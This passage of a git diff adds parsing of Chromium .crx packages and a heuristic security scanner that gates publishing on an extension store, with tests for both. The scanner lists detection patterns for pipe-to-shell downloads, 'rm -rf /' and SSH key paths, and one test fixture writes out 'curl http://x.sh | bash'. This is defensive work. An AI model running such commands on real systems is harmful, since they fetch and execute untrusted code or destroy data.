${esc(ext.name)}
${esc(ext.summary || '')}
@@ -174,6 +238,7 @@ async function initSubmit() {
return;
}
await renderPublisher();
+ wireAutoIngest(form);
form.addEventListener('submit', async (e) => {
e.preventDefault();
out.innerHTML = '
Working…
';
@@ -190,7 +255,7 @@ async function initSubmit() {
// 1) create draft (this assigns the slug we need for the upload path)
const draft = await api('/extensions', {
method: 'POST', headers: { 'content-type': 'application/json' },
- body: JSON.stringify({ name: fd.get('name'), summary: fd.get('summary'), description: fd.get('description'), homepageUrl: fd.get('homepageUrl') }),
+ body: JSON.stringify({ name: fd.get('name'), summary: fd.get('summary'), description: fd.get('description'), homepageUrl: fd.get('homepageUrl'), iconUrl: form.dataset.iconUrl || null }),
});
// If uploading to files.profullstack.com, pause so they can scp to the
diff --git a/apps/extensions/public/submit.html b/apps/extensions/public/submit.html
index 6befd41..4cff70f 100644
--- a/apps/extensions/public/submit.html
+++ b/apps/extensions/public/submit.html
@@ -41,7 +41,7 @@
2 · Listing
Name *
Summary
Description (markdown)
-
Homepage URL
+
Source / homepage (GitHub, GitLab, or project site)
3 · Upload your bundle
Package your extension the normal Chromium way (a .crx for install + auto-update, and/or a .zip for sideloading), then upload it with the one-liner below. The slug comes from your name; we'll show the exact path after you name it.
diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml
index 9c5e2a6..19222c2 100644
--- a/pnpm-lock.yaml
+++ b/pnpm-lock.yaml
@@ -264,6 +264,9 @@ importers:
deepagents:
specifier: ^1.10.5
version: 1.10.5(langsmith@0.7.12(openai@6.45.0(ws@8.21.0)(zod@4.4.3))(ws@8.21.0))(openai@6.45.0(ws@8.21.0)(zod@4.4.3))(react@19.2.7)(ws@8.21.0)
+ fflate:
+ specifier: ^0.8.3
+ version: 0.8.3
hono:
specifier: ^4.6.14
version: 4.12.27
@@ -2115,6 +2118,9 @@ packages:
fetch-nodeshim@0.4.10:
resolution: {integrity: sha512-m6I8ALe4L4XpdETy7MJZWs6L1IVMbjs99bwbpIKphxX+0CTns4IKDWJY0LWfr4YsFjfg+z1TjzTMU8lKl8rG0w==}
+ fflate@0.8.3:
+ resolution: {integrity: sha512-tbZNuJrLwGUp3zshBtdy4W+ORxZuIh8a5ilyIEQDC5rY1f3U20JMry0Ll3WBzU58EZKsEuJFXhb5gwv8CsPvgA==}
+
file-entry-cache@8.0.0:
resolution: {integrity: sha512-XXTUwCvisa5oacNGRP9SfNtYBNAMi+RPwBFmblZEF7N7swHYQS6/Zfk7SRwx4D5j3CH211YNRco1DEMNVfZCnQ==}
engines: {node: '>=16.0.0'}
@@ -2416,6 +2422,7 @@ packages:
libsql@0.4.7:
resolution: {integrity: sha512-T9eIRCs6b0J1SHKYIvD8+KCJMcWZ900iZyxdnSCdqxN12Z1ijzT+jY5nrk72Jw4B0HGzms2NgpryArlJqvc3Lw==}
+ cpu: [x64, arm64, wasm32]
os: [darwin, linux, win32]
lighthouse-logger@1.4.2:
@@ -5553,6 +5560,8 @@ snapshots:
fetch-nodeshim@0.4.10: {}
+ fflate@0.8.3: {}
+
file-entry-cache@8.0.0:
dependencies:
flat-cache: 4.0.1
diff --git a/services/api/package.json b/services/api/package.json
index cf09b7e..7e55973 100644
--- a/services/api/package.json
+++ b/services/api/package.json
@@ -21,6 +21,7 @@
"@libsql/client": "^0.14.0",
"@logicsrc/agentswarm": "^0.1.0",
"deepagents": "^1.10.5",
+ "fflate": "^0.8.3",
"hono": "^4.6.14"
},
"devDependencies": {
diff --git a/services/api/src/store/crx.test.ts b/services/api/src/store/crx.test.ts
new file mode 100644
index 0000000..f886f42
--- /dev/null
+++ b/services/api/src/store/crx.test.ts
@@ -0,0 +1,52 @@
+import { describe, it, expect } from 'vitest';
+import { zipSync, strToU8 } from 'fflate';
+import { crxToZip, extractListingFromCrx } from './crx.js';
+
+// Build a minimal CRX3 (Cr24 + fake header + zip) for testing.
+function makeCrx(files: Record
, headerLen = 8): Uint8Array {
+ const zip = zipSync(files);
+ const head = new Uint8Array(12 + headerLen);
+ head.set(strToU8('Cr24'), 0);
+ new DataView(head.buffer).setUint32(4, 3, true); // version 3
+ new DataView(head.buffer).setUint32(8, headerLen, true);
+ const out = new Uint8Array(head.length + zip.length);
+ out.set(head, 0);
+ out.set(zip, head.length);
+ return out;
+}
+
+const PNG = new Uint8Array([137, 80, 78, 71, 13, 10, 26, 10, 1, 2, 3]);
+
+describe('crx ingest', () => {
+ it('extracts manifest + icon from a crx', () => {
+ const manifest = {
+ manifest_version: 3,
+ name: 'Test Ext',
+ version: '1.2.3',
+ description: 'A test extension',
+ permissions: ['storage'],
+ host_permissions: ['https://example.com/*'],
+ icons: { '16': 'icons/16.png', '128': 'icons/128.png' },
+ };
+ const crx = makeCrx({
+ 'manifest.json': strToU8(JSON.stringify(manifest)),
+ 'icons/128.png': PNG,
+ 'background.js': strToU8('console.log(1)'),
+ });
+ const l = extractListingFromCrx(crx);
+ expect(l.name).toBe('Test Ext');
+ expect(l.version).toBe('1.2.3');
+ expect(l.summary).toBe('A test extension');
+ expect(l.permissions).toEqual(['storage', 'https://example.com/*']);
+ expect(l.iconDataUri).toMatch(/^data:image\/png;base64,/);
+ });
+
+ it('rejects a non-crx buffer', () => {
+ expect(() => crxToZip(strToU8('not a crx at all'))).toThrow(/Cr24/);
+ });
+
+ it('rejects a non-MV3 manifest', () => {
+ const crx = makeCrx({ 'manifest.json': strToU8(JSON.stringify({ manifest_version: 2, name: 'x', version: '1' })) });
+ expect(() => extractListingFromCrx(crx)).toThrow(/MV3-only/);
+ });
+});
diff --git a/services/api/src/store/crx.ts b/services/api/src/store/crx.ts
new file mode 100644
index 0000000..0218384
--- /dev/null
+++ b/services/api/src/store/crx.ts
@@ -0,0 +1,133 @@
+// CRX auto-ingest: a .crx (Chromium extension package) is `Cr24` + a signed
+// protobuf header + a ZIP. We parse it to auto-fill a listing from the
+// extension's own manifest.json + icons — so publishers don't fill out forms.
+//
+// Pure parsing (fetch is separate + guarded) so it's unit-testable.
+import { unzipSync, strFromU8 } from 'fflate';
+
+export interface IngestedListing {
+ name: string;
+ summary: string | null;
+ description: string | null;
+ version: string;
+ manifestVersion: number;
+ /** union of permissions + host_permissions */
+ permissions: string[];
+ /** the raw manifest.json text (what the version record stores) */
+ manifestJson: string;
+ /** largest icon as a data: URI, or null if the crx has none */
+ iconDataUri: string | null;
+}
+
+const CRX_MAGIC = 'Cr24';
+const MAX_ICON_BYTES = 512 * 1024; // don't inline absurd icons as data URIs
+
+/** Extract the embedded ZIP from a CRX2/CRX3 buffer. */
+export function crxToZip(buf: Uint8Array): Uint8Array {
+ if (buf.length < 16 || strFromU8(buf.slice(0, 4)) !== CRX_MAGIC) {
+ throw new Error('not a .crx file (missing Cr24 magic)');
+ }
+ const dv = new DataView(buf.buffer, buf.byteOffset, buf.byteLength);
+ const version = dv.getUint32(4, true);
+ if (version === 2) {
+ // CRX2: magic(4) ver(4) pubKeyLen(4) sigLen(4) then key+sig then zip.
+ const pubKeyLen = dv.getUint32(8, true);
+ const sigLen = dv.getUint32(12, true);
+ return buf.slice(16 + pubKeyLen + sigLen);
+ }
+ if (version === 3) {
+ // CRX3: magic(4) ver(4) headerLen(4) then header then zip.
+ const headerLen = dv.getUint32(8, true);
+ return buf.slice(12 + headerLen);
+ }
+ throw new Error(`unsupported CRX version ${version}`);
+}
+
+function iconToDataUri(path: string, bytes: Uint8Array): string | null {
+ if (!bytes || bytes.length === 0 || bytes.length > MAX_ICON_BYTES) return null;
+ const ext = path.toLowerCase().split('.').pop() || '';
+ const mime =
+ ext === 'png' ? 'image/png' :
+ ext === 'jpg' || ext === 'jpeg' ? 'image/jpeg' :
+ ext === 'svg' ? 'image/svg+xml' :
+ ext === 'webp' ? 'image/webp' :
+ ext === 'gif' ? 'image/gif' : null;
+ if (!mime) return null;
+ const b64 = Buffer.from(bytes).toString('base64');
+ return `data:${mime};base64,${b64}`;
+}
+
+/** Pick the highest-resolution icon declared in the manifest. */
+function pickIcon(manifest: any, files: Record): string | null {
+ const icons: Record = manifest.icons || {};
+ const bySize = Object.keys(icons)
+ .map((k) => [parseInt(k, 10) || 0, icons[k]] as const)
+ .filter((e): e is readonly [number, string] => typeof e[1] === 'string')
+ .sort((a, b) => b[0] - a[0]);
+ for (const [, rel] of bySize) {
+ const path = rel.replace(/^\.?\//, '');
+ if (files[path]) {
+ const uri = iconToDataUri(path, files[path]);
+ if (uri) return uri;
+ }
+ }
+ return null;
+}
+
+/** Parse a .crx buffer into an auto-filled listing draft. */
+export function extractListingFromCrx(buf: Uint8Array): IngestedListing {
+ const files = unzipSync(crxToZip(buf), { filter: (f) => !f.name.endsWith('/') });
+ const manifestBytes = files['manifest.json'];
+ if (!manifestBytes) throw new Error('crx has no manifest.json');
+ const manifestJson = strFromU8(manifestBytes);
+ let manifest: any;
+ try {
+ manifest = JSON.parse(manifestJson);
+ } catch (e: any) {
+ throw new Error(`manifest.json is not valid JSON: ${e.message}`);
+ }
+ if (manifest.manifest_version !== 3) {
+ throw new Error(`the store is MV3-only (crx manifest_version = ${manifest.manifest_version})`);
+ }
+ const permissions: string[] = [
+ ...(Array.isArray(manifest.permissions) ? manifest.permissions : []),
+ ...(Array.isArray(manifest.host_permissions) ? manifest.host_permissions : []),
+ ].filter((p) => typeof p === 'string');
+
+ const description: string | null = typeof manifest.description === 'string' ? manifest.description : null;
+ return {
+ name: String(manifest.name || '').trim(),
+ summary: description ? description.slice(0, 140) : null,
+ description,
+ version: String(manifest.version || ''),
+ manifestVersion: 3,
+ permissions: [...new Set(permissions)],
+ manifestJson,
+ iconDataUri: pickIcon(manifest, files),
+ };
+}
+
+/** Download a .crx over http(s) with guards. */
+export async function fetchCrx(url: string, maxBytes = 25 * 1024 * 1024): Promise {
+ let u: URL;
+ try {
+ u = new URL(url);
+ } catch {
+ throw new Error('crxUrl must be a valid URL');
+ }
+ if (u.protocol !== 'https:' && u.protocol !== 'http:') {
+ throw new Error('crxUrl must be http(s)');
+ }
+ const res = await fetch(u, { redirect: 'follow' });
+ if (!res.ok) throw new Error(`could not fetch crx (${res.status})`);
+ const len = Number(res.headers.get('content-length') || 0);
+ if (len && len > maxBytes) throw new Error('crx is too large');
+ const buf = new Uint8Array(await res.arrayBuffer());
+ if (buf.length > maxBytes) throw new Error('crx is too large');
+ return buf;
+}
+
+/** Download a .crx and extract its listing. */
+export async function ingestCrxUrl(url: string): Promise {
+ return extractListingFromCrx(await fetchCrx(url));
+}
diff --git a/services/api/src/store/routes.ts b/services/api/src/store/routes.ts
index 5ba833b..e759918 100644
--- a/services/api/src/store/routes.ts
+++ b/services/api/src/store/routes.ts
@@ -23,6 +23,9 @@ import {
} from './payments.js';
import { enqueueScan } from './vu1nz.js';
import { mirrorListing } from './mirror.js';
+import { fetchCrx, extractListingFromCrx } from './crx.js';
+import { scanCrx } from './scanner.js';
+import { createScan, updateScan } from './db.js';
const APP_URL = process.env.APP_URL || 'https://tronbrowser.dev';
@@ -120,6 +123,26 @@ store.post('/extensions', async (c) => {
return c.json({ ok: true, id: ext.id, slug: ext.slug });
});
+/* ---------- AI auto-ingest: fill the whole listing from a .crx ----------
+ Point us at a .crx URL and we read its manifest.json + icons + code:
+ auto-fill name/summary/description/version/permissions/logo AND run the
+ security scan. No forms. The publish gate is `scan.green`. */
+store.post('/extensions/ingest', async (c) => {
+ const user = await currentUser(c);
+ if (!user) return c.json({ error: 'unauthorized' }, 401);
+ const body = await c.req.json().catch(() => ({}));
+ const crxUrl = String(body.crxUrl || '').trim();
+ if (!crxUrl) return c.json({ error: 'crxUrl required' }, 400);
+ try {
+ const buf = await fetchCrx(crxUrl);
+ const listing = extractListingFromCrx(buf);
+ const scan = scanCrx(buf, listing.permissions);
+ return c.json({ ok: true, listing, scan });
+ } catch (e: any) {
+ return c.json({ error: e?.message || 'could not ingest .crx' }, 422);
+ }
+});
+
/* ---------- publisher SSH identity (files.profullstack.com) ----------
Each publisher gets one AgentBBS member, provisioned from their SSH public
key, so they can `scp` bundles to /public/extensions//. */
@@ -271,6 +294,27 @@ store.post('/extensions/:id/versions', async (c) => {
}, 400);
}
+ // ── Security scan GATE ──────────────────────────────────────────────
+ // If we can fetch a .crx, scan its code + permissions and BLOCK the submit
+ // on any critical finding (green light required to publish). Zip-only
+ // bundles fall back to the async (non-gating) vu1nz scan.
+ let scanResult: Awaited> | null = null;
+ if (crxUrl) {
+ try {
+ const buf = await fetchCrx(crxUrl);
+ scanResult = scanCrx(buf, v.permissions);
+ } catch (e: any) {
+ return c.json({ error: `could not scan .crx: ${e?.message || e}` }, 422);
+ }
+ if (!scanResult.green) {
+ return c.json({
+ error: 'scan_failed',
+ message: 'Security scan found blocking (critical) issues. Fix them and resubmit.',
+ scan: scanResult,
+ }, 422);
+ }
+ }
+
const version = await addVersion({
extensionId: ext.id,
version: v.manifest.version,
@@ -284,10 +328,21 @@ store.post('/extensions/:id/versions', async (c) => {
source: body.source === 'pr' ? 'pr' : 'upload',
});
- // Fire-and-forget async vu1nz scan (non-gating).
- await enqueueScan(ext.id, version);
+ if (scanResult) {
+ // Persist the gating scan result for the store badge.
+ const scanId = await createScan(ext.id, version.id);
+ await updateScan(scanId, {
+ status: 'done',
+ score: scanResult.green ? 100 : 40,
+ severity: scanResult.status === 'malicious' ? 'critical' : scanResult.status === 'suspicious' ? 'high' : 'clean',
+ findingsJson: JSON.stringify(scanResult.findings),
+ });
+ } else {
+ // Zip-only: fall back to the async (non-gating) vu1nz scan.
+ await enqueueScan(ext.id, version);
+ }
- return c.json({ ok: true, versionId: version.id, version: version.version, warnings: v.warnings });
+ return c.json({ ok: true, versionId: version.id, version: version.version, warnings: v.warnings, scan: scanResult });
});
/* ---------- pay the $1 listing fee ---------- */
diff --git a/services/api/src/store/scanner.test.ts b/services/api/src/store/scanner.test.ts
new file mode 100644
index 0000000..95a1098
--- /dev/null
+++ b/services/api/src/store/scanner.test.ts
@@ -0,0 +1,43 @@
+import { describe, it, expect } from 'vitest';
+import { strToU8 } from 'fflate';
+import { scanFiles, scanPermissions } from './scanner.js';
+
+describe('extension scanner (publish gate)', () => {
+ it('is green for a normal extension (fetch/base64/crypto are fine)', () => {
+ const files = {
+ 'background.js': strToU8('const x = await fetch(url); const b = atob(s); globalThis.crypto.subtle;'),
+ 'popup.js': strToU8('String.fromCharCode(65); Buffer.from(s, "base64");'),
+ };
+ const r = scanFiles(files);
+ expect(r.green).toBe(true);
+ expect(r.status).toBe('clean');
+ });
+
+ it('BLOCKS on a critical pattern (pipe-to-shell)', () => {
+ const files = { 'evil.js': strToU8('const cmd = "curl http://x.sh | bash";') };
+ const r = scanFiles(files);
+ expect(r.green).toBe(false);
+ expect(r.status).toBe('malicious');
+ expect(r.findings.some((f) => f.rule === 'pipe-to-shell')).toBe(true);
+ });
+
+ it('BLOCKS on a bundled native binary', () => {
+ const files = { 'bin/helper.exe': new Uint8Array([1, 2, 3]) };
+ const r = scanFiles(files);
+ expect(r.green).toBe(false);
+ expect(r.findings.some((f) => f.rule === 'bundled-binary')).toBe(true);
+ });
+
+ it('flags eval as high but stays green (advisory, not blocking)', () => {
+ const r = scanFiles({ 'a.js': strToU8('eval("2+2")') });
+ expect(r.status).toBe('suspicious');
+ expect(r.green).toBe(true);
+ });
+
+ it('flags broad host access + sensitive perms', () => {
+ const f = scanPermissions(['', 'debugger', 'cookies']);
+ expect(f.some((x) => x.rule === 'broad-host-access' && x.severity === 'high')).toBe(true);
+ expect(f.some((x) => x.rule === 'perm-debugger')).toBe(true);
+ expect(f.some((x) => x.rule === 'perm-cookies')).toBe(true);
+ });
+});
diff --git a/services/api/src/store/scanner.ts b/services/api/src/store/scanner.ts
new file mode 100644
index 0000000..c01fa90
--- /dev/null
+++ b/services/api/src/store/scanner.ts
@@ -0,0 +1,123 @@
+// Extension security scanner — the publish gate. Ports the heuristic engine
+// from ugig.net's skill scanner (BuiltInScanner + CompositeScanner + optional
+// SecureClaw enrichment) and tunes the GATE for browser extensions.
+//
+// Why tuned: the raw skill ruleset flags things every extension legitimately
+// does (fetch, globalThis, atob/btoa, base64, hex escapes — ubiquitous in
+// bundled crypto like @noble). So we surface high/medium as *advisory* and
+// only BLOCK on `critical` (pipe-to-shell, `rm -rf /`, `.ssh/`, bundled native
+// binaries) plus a couple of extension-specific criticals. A listing goes
+// green (publishable) iff there are no critical findings.
+import { createHash } from 'node:crypto';
+import { unzipSync, strFromU8 } from 'fflate';
+import { crxToZip } from './crx.js';
+
+export type Severity = 'low' | 'medium' | 'high' | 'critical';
+export type ScanStatus = 'clean' | 'suspicious' | 'malicious';
+
+export interface ScanFinding {
+ rule: string;
+ severity: Severity;
+ detail: string;
+ file?: string;
+}
+
+export interface ExtensionScanResult {
+ status: ScanStatus;
+ /** true = safe to publish (no critical findings) */
+ green: boolean;
+ fileHash: string;
+ findings: ScanFinding[];
+ countsBySeverity: Record;
+ scannerVersion: string;
+}
+
+export const SCANNER_VERSION = 'tron-ext-scanner-0.1.0';
+
+const DANGEROUS_PATTERNS: { pattern: RegExp; rule: string; severity: Severity; detail: string }[] = [
+ // ── Critical (BLOCK) ──
+ { pattern: /curl\s+.*\|\s*(ba)?sh/i, rule: 'pipe-to-shell', severity: 'critical', detail: 'Pipe-to-shell (curl) in bundled code' },
+ { pattern: /wget\s+.*\|\s*(ba)?sh/i, rule: 'wget-pipe-to-shell', severity: 'critical', detail: 'Pipe-to-shell (wget) in bundled code' },
+ { pattern: /rm\s+-rf\s+\//i, rule: 'destructive-rm', severity: 'critical', detail: 'Destructive `rm -rf /` in bundled code' },
+ { pattern: /\.ssh\/(id_|authorized_keys|known_hosts)/i, rule: 'ssh-key-access', severity: 'critical', detail: 'SSH key path reference' },
+ // ── High (advisory) ──
+ { pattern: /\beval\s*\(/, rule: 'eval', severity: 'high', detail: 'Use of eval()' },
+ { pattern: /new\s+Function\s*\(/, rule: 'function-constructor', severity: 'high', detail: 'Function constructor (dynamic code)' },
+ { pattern: /chrome\.debugger|browser\.debugger/i, rule: 'debugger-api', severity: 'high', detail: 'Uses the debugger API' },
+ { pattern: /nativeMessaging/i, rule: 'native-messaging', severity: 'high', detail: 'Native messaging (talks to a native host)' },
+ // ── Medium (advisory) ──
+ { pattern: /chrome\.cookies|browser\.cookies/i, rule: 'cookies-api', severity: 'medium', detail: 'Reads/writes cookies' },
+ { pattern: /document\.cookie/i, rule: 'document-cookie', severity: 'medium', detail: 'Accesses document.cookie' },
+ { pattern: /webRequest|declarativeNetRequest/i, rule: 'network-interception', severity: 'medium', detail: 'Intercepts network requests' },
+];
+
+// Native binaries have no business inside an MV3 extension bundle.
+const BLOCKED_EXT = new Set(['.exe', '.dll', '.so', '.dylib', '.bat', '.cmd', '.ps1', '.sh', '.com', '.scr', '.node']);
+const TEXT_EXT = new Set(['.js', '.mjs', '.cjs', '.ts', '.json', '.html', '.htm', '.css', '.txt', '.md', '.wasm']);
+
+function extname(name: string): string {
+ const i = name.lastIndexOf('.');
+ return i >= 0 ? name.slice(i).toLowerCase() : '';
+}
+
+/** Scan the already-unzipped files of an extension bundle. */
+export function scanFiles(files: Record): Omit {
+ const findings: ScanFinding[] = [];
+ for (const [name, bytes] of Object.entries(files)) {
+ const ext = extname(name);
+ if (BLOCKED_EXT.has(ext)) {
+ findings.push({ rule: 'bundled-binary', severity: 'critical', detail: `Native binary in bundle (${ext})`, file: name });
+ continue;
+ }
+ // Scan text-like files (skip huge assets); .wasm flagged as advisory, not read.
+ if (ext === '.wasm') {
+ findings.push({ rule: 'wasm-module', severity: 'medium', detail: 'Bundled WebAssembly module', file: name });
+ continue;
+ }
+ if (!TEXT_EXT.has(ext) || bytes.length > 8 * 1024 * 1024) continue;
+ const content = strFromU8(bytes);
+ for (const { pattern, rule, severity, detail } of DANGEROUS_PATTERNS) {
+ if (pattern.test(content)) findings.push({ rule, severity, detail, file: name });
+ }
+ }
+ return summarize(findings);
+}
+
+/** Extra findings derived from the manifest's requested permissions. */
+export function scanPermissions(permissions: string[]): ScanFinding[] {
+ const out: ScanFinding[] = [];
+ const set = new Set(permissions);
+ if (set.has('') || permissions.some((p) => p === '*://*/*' || p === 'http://*/*' || p === 'https://*/*')) {
+ out.push({ rule: 'broad-host-access', severity: 'high', detail: 'Requests access to all sites ()' });
+ }
+ for (const p of ['debugger', 'nativeMessaging', 'proxy', 'management']) {
+ if (set.has(p)) out.push({ rule: `perm-${p}`, severity: 'high', detail: `Requests the "${p}" permission` });
+ }
+ for (const p of ['cookies', 'history', 'webRequest', 'declarativeNetRequest', 'tabs', 'scripting', 'downloads', 'clipboardRead']) {
+ if (set.has(p)) out.push({ rule: `perm-${p}`, severity: 'medium', detail: `Requests the "${p}" permission` });
+ }
+ return out;
+}
+
+function summarize(findings: ScanFinding[]): Omit {
+ const counts: Record = { low: 0, medium: 0, high: 0, critical: 0 };
+ for (const f of findings) counts[f.severity]++;
+ const status: ScanStatus = counts.critical > 0 ? 'malicious' : counts.high > 0 ? 'suspicious' : 'clean';
+ return {
+ status,
+ green: counts.critical === 0, // publishable iff nothing critical
+ findings,
+ countsBySeverity: counts,
+ scannerVersion: SCANNER_VERSION,
+ };
+}
+
+/** Scan a full .crx buffer: unzip, scan code + permissions, verdict. */
+export function scanCrx(buf: Uint8Array, permissions: string[] = []): ExtensionScanResult {
+ const fileHash = createHash('sha256').update(buf).digest('hex');
+ const files = unzipSync(crxToZip(buf), { filter: (f) => !f.name.endsWith('/') });
+ const base = scanFiles(files);
+ const permFindings = scanPermissions(permissions);
+ const merged = [...base.findings, ...permFindings];
+ return { ...summarize(merged), fileHash };
+}